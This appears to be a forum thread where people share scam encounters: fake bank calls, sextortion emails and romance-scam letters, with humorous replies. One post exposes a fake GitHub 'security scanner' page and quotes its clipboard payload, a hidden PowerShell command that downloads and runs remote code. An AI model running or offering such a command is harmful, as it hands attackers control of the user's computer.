I got an email today with this message:
How was your day, I have sent you mail, no response; I want us to invest the sum of gold worth $5.2 dollars.
So they want my help to buy a couple of cubic millimeters of gold?
I’ve been getting repeated calls from somebody claiming to be Chase.
Only – I’ve gotten calls from Chase. Chase leaves a message. Chase does not call as many as eight or ten times in close succession – and I mean close; the phone rings, hits the 4 rings that sends it to voice mail, ends the call, and then immediately – like 3 seconds later – the phone starts ringing again. Same number.
After one of these rounds, which I’d tried picking up and immediately hanging up on, I had an open line for at least a couple of hours; picking up and hanging up again every phone in the house (old landline system), or even unplugging all of them, didn’t work. Finally I left them all unplugged until last thing at night and then tried again and the problem had fixed itself. I don’t know whether that was coincidence or not.
That’s likely how the “antivirus renewal” emails work.
My MIL actually had her bank account number switched, several times, because of those emails; she thought they were about to commit fraud by deducting money from her account (they did not have a credit card, just a debit card).
At least with those, they never lost anything. There were plenty of other fraud attempts made on them where they came close to being victims.
They likely forgot the “millions”
I got myself a sexploitation scam yesterday. They had my home address and office phone number but the picture of my “house” they showed me wasn’t my house. Being female, I also couldn’t do any of the things they claimed to have witnessed via my webcam. Not to mention that my home laptop died and my work computer doesn’t actually have a camera( I know because I have to use an alternative for telemedicine). Oh, and the fact that I’ve been completely overwhelmed and burned out at work since the pandemic and I don’t recall ever watching anything even porn adjacent online.
So I hope they go ahead and show the split screen of what I am watching next to my camera showing what I am doing at the same time to all my contacts. I hope they enjoy the cat videos, nail art and cow hoof trimming on half the screen while the other half is blank.
Yes that always amused me in emails because although my laptop did have a camera, I had been completely unsuccessful getting it to work despite repeated attempts, so mentally I would respond to the email: That’s great, can you show me how you got that to work?
//i\\
I got an interesting one today, apparently targeting people with github projects, not your typical scam target I would think. I got an email saying “We have detected a security vulnerability in your repository. Please contact us at https://github-scanner.com to get more information on how to fix this issue.” It had the usual footer for emails from github, including a “view it on GitHub” link. It was not immediately obvious that this was a scam, so I clicked on that link, which led to a 404 page. Hm, now I’m suspicious. For the heck of it, I went to the github-scanner page, which had a “Verify that you’re human” button. Clicking it displayed these instructions:
- Press Windows Button + R
- Press CTRL + V
- Press Enter
Yeah right. They’ve obviously loaded some dangerous command into my clipboard and are trying to get me to run it. Sure enough, checking my clipboard, it contains
powershell.exe -w hidden -Command “iex (iwr ‘https://github-scanner.com/download.txt’).Content” # “
''I am not a robot - reCAPTCHA Verification ID: 93752”
Interesting approach, but the crude “Press Ctrl-V into the Run command box” instruction is probably going to ring obvious alarm bells with anyone who has a github repository.
So – today the landline phone rang in the kitchen. That one doesn’t show me who’s calling, and I picked it up. Call center noises in background, person on phone wants to speak to My First Name, appears confused when the answer is “Speaking”, claims to be from Chase. I say, I don’t think you’re Chase, I think you’re a scammer, and hang up.
Phone rings again. I pick it up again. Brief pause, then a voice saying “Please listen to me.” I said, “If you’re actually Chase, leave a voice mail message”, and hang up again; and leave the house to go do something else so I won’t have to listen to the phone ringing.
That was maybe an hour ago. Not, I’m sure, a spoiler: Nobody has left a voice mail message. (If I did get one, I’d call Chase. At the number on my card; and it wouldn’t be an open line, because I’d have had to be able to call the voice mail provider to get the voice mail.)
The phone that does show me who’s calling shows three calls in succession, all supposedly from that same number that’s been calling. (huh. The number it claims to be actually is one of the numbers on my card. Not the one that would apply to me, though.)
Lately, I’ve been getting messages from Russian women who are looking for a boyfriend.
Im pleasing lady from Russian Federation;-) at present I am trying to find jolly male from US or Canada) What State are You from? I will send You my picture, my Email for reply is [redacted] , Thank you anyway
Greeting,
Mr. King) are You with me?
I aspire to have a talk;) I’m a alone breezy woman staying in Russia and waiting for right guy from United States or Canada;)
What State are You from?
I am going to reply to You my picture attached;) Reply to me at
bonghjornu.
I am opportune Miss born in Russian Federation. Today I’m searching for promising mister from US or Canada;)
What State are You from?
I am going to reply to You my picture attached) e-mail to me at
I’m solitary ripe miss staying in Russia;-)
now I’m seeking auspicious male from US or Canada) What State are You from? I’ll reply to You my photos,
Write me
Mostly, I tell them I’m a tired, old man and not worth their time.
This next one I decided to take it further.
Hi, I used a dating app to connect with others and practice English. Can you help me? I would like to meet a man for conversation and romance. I will never ask for money for tickets or any gifts, I am a normal, self-sufficient girl, but I feel bored. I’m slender and pretty. I’ll send to You my picture attached. Write to me at [same email as a bunch of others] I can’t wait for your response, hope you’re intrigued.
I’ll be glad to help you with your English.
Peter Mosse
Hi! Thank you for responding to my message
. As I mentioned earlier, I signed up for this app to get to know someone new, and now we can have a conversation here. My name is Vika, and I live and work in Turkey. I have a small beauty business
. I’m looking for someone to have a nice conversation with, and maybe it could turn into something bigger
. This is my first time using such platforms, so if I type something awkward, please be kind, okay?
. I’d be happy to check out your photos in return. I’m looking forward to learning more about you. That’s all for now. I trust you’ll have a chance to respond. Talk to you soon!
Hi Vika,
There’s not much to tell, I’m 64, retired but I still do consulting work as an Airflow Engineer. I live in a small town named Loris in the state of South Carolina.
I’ve been married five times, my wives have all died under mysterious circumstance as have numerous pets. I do not travel due to extreme body odor and uncontrolled flatulence.
My main hobby is grainspotting though I am hindered by the ankle monitor. I’ve attached my photo.
Hi, Peter
I have an amazing story about how my grandparents met. They started writing to each other, and it was real paper letters. They waited for responses for months because the delivery took so long. Even without seeing each other in photos, they fell in love.
This story reminds me of how important feelings and expectations are in relationships.
I’d love to know more about you! I live in the suburbs of Ankara and moved here from Eastern Europe about 10 years ago. I work as a manicurist and dream of going to Poland or Germany to improve my skills and earn more. I’m 33 years old, I don’t have children, and I’m single. I rent a place that’s about 40 minutes from work. You know, I think life is like art, and I strive to add bright colors and passion to it. But work and other interests take up all my time, so I’m really happy that we have the opportunity to communicate and share our dreams.
Thank you for your photo! You look very attractive and confident.
You haven’t been replying to my letters, and I really miss talking to you. I want to get to know you better and understand what’s on your mind and in your heart. I feel that something special could arise between us, but for that, we need more trust and openness.I would be interested to hear about your hobbies, what inspires and brings you joy. Maybe you have favorite places you like to visit, or books that have impressed you?
I hope you don’t mind sharing your thoughts a bit. I look forward to your reply!
Tell me more about your work and hobbies. Do you enjoy riding a bike or driving a car?
I dream of getting a driver’s license and driving a car. Can you imagine, you sitting next to me, pressing the pedals while I steer! Or the other way around: you tell me where to turn, and I try not to hit the fence!
Just kidding, of course!
I’m looking forward to your response! How do you spend your free time? Do you have any interesting hobbies or dreams?
It’s quite evident you didn’t read my letter.
Peter Mosse
And that’s where it stands now
Wink wink nudge nudge SAY NOOO MORE!
I bet she does, I bet she does!
You should reply in German or Polish to see how serious she is about her dream.
I occasionally get spam in a foreign language. I reply in a different language. Subsequent replies(if any) are in a different language each time.
Unfortunately, that leads to very short baits.
Hi there!
How lovely that you replied! Have you already fallen under my feminine charm, or is it just that you couldn’t resist my charisma?
Honestly, that’s probably not the case, because it seems like modern men don’t really appreciate or value genuinely good girls. Or am I wrong? If you do value them, you can go ahead and start writing “I’m caught!”
It’s funny to hear this from someone who can only spare a couple of words in a message or respond with just a photo. How can we really get to know each other if you barely reply to my letters? I truly miss our communication. I want to understand you better, to know what’s on your mind and in your heart. I feel like something special could develop between us, but for that, we need more trust and openness.
I’m at work right now, waiting for a client who’s running late. Maybe fate is giving us a chance to chat, and that’s why I can write this letter to you.
I already mentioned that I’m from Eastern Europe, from Belarus, the city of Minsk. I’m not Turkish, I moved here after the unrest in Minsk following the presidential elections. Many people didn’t agree with the results, which led to protests and repression, so my mom and I decided to leave.My mom has been living with a man she met here for a few years now. I like European men, but not Turkish men, which is why I’m still single. Do you have an ideal woman? If so, let’s compare notes!
My mom has been living with a man she met here for a few years now. I like European men, but not Turkish men, which is why I’m still single. Do you have an ideal woman? If so, let’s compare notes!
Please, send me some photos of your life, your hobbies. Do you have many friends? Do you often meet people online? The fact that about 80 of couples find each other online really makes you think. I have a feeling we might become part of that statistic!
By the way, when is your birthday? Do you believe in horoscopes or luck?
Looking forward to your reply as soon as possible!
Again, it’s quite evident you didn’t read my letter. I like women who are literate.
Peter Mosse
Awww, come on string her along…
- You like American (or African or ___) women; anything that she clearly is not.
- Your hobbies include dumpster diving.
- You were held back in HS because you failed that statistics class & ever since then you hate statistics
- You weren’t born, you were hatched & you weren’t there so you don’t know the date of your hatching.
I plan to if “she” answers but I don’t see much future in the relationship. It clear there a script being followed with little regard to the contents of the answer as long as there’s an answer. If multiple dead wives and pets aren’t enough, nothing will be.
Or ones not made out of silicon and circuits.
Try this next, coach:
Ah. Well… I attended Juilliard… I’m a graduate of the Harvard Business School. I travel quite extensively. I lived through the Black Plague and had a pretty good time during that. I’ve seen the EXORCIST ABOUT A HUNDRED AND SIXTY-SEVEN TIMES, AND IT KEEPS GETTING FUNNIER EVERY SINGLE TIME I SEE IT… NOT TO MENTION THE FACT THAT YOU’RE TALKING TO A DEAD GUY… NOW WHAT DO YOU THINK? You think I’m qualified?
She almost certainly won’t get the pop culture reference, for starters.
This one is either waaaay too stupid to go to the trouble with that approach or “she’s” not actually reading what I write.
The latest.
Hello, my dear Peter! Can I call you that?
I love imagining that we’re a couple now, like Bonnie and Clyde or Romeo and Juliet. I have a vivid imagination! Have you ever dreamed about what you would do with me, besides anything naughty? For example, holding my hand as we stroll through an unfamiliar city or park. I love dreaming!
I’m still planning my trip to Western Europe for studies, and it’s fueling my dreams.
By the way, I’m going to a friend’s birthday party soon, and I need to pick out a gift for her. Tomorrow, I’ll go to the mall to look for a present. Do you happen to know what people give women for their 39th birthday these days? Any advice would be appreciated.
Also, if you’d like, you can give me your mailing address, and I’ll send you a postcard with a kiss because I’m very grateful for your company.
Don’t try to fool me;
How are your days going? Do you have any funny stories from work or life? I’m eagerly waiting for your reply, don’t keep me waiting!
P.S. Here are a few photos; this is the outfit I’m planning to wear. Do I look okay?
We can be a couple only if I get to be Juliet. You can be Clyde if you want.
Here in the States, it’s traditional to give sex toys for the 39th birthday. Preferably anal or double-ended.
You don’t need my address, just fly into Myrtle Beach Intl and I’ll pick you up.
Peter Mosse
Awww, you should have gone with the Bonnie & Clyde option & ask her to knock over a bank in ; big enough that it makes the press so that you know she really did it as a test for you love & pairing of being a modern-day B&C.
On a separate note; Holy shit! I've received some of these emails in my junk folder but have never responded to one. It's amazing how fast you two are a 'couple' despite you having told her very little about you (...& all red-flag BS at that). There must be some really lonely & desperate people out there to fall for these scams. I could see someone getting flustered with one of the other types of scams where urgency creates panic & overrides rational thought but this one is unfolding over multiple emails & presumably multiple days; hopefully, enough time for someone who did reply to come to their senses. I have 'dated' people in the past where it worked on the phone/email but when we met in person the chemistry just wasn't there. I would *never* consider sending money to my 'girlfriend' that I have never met before.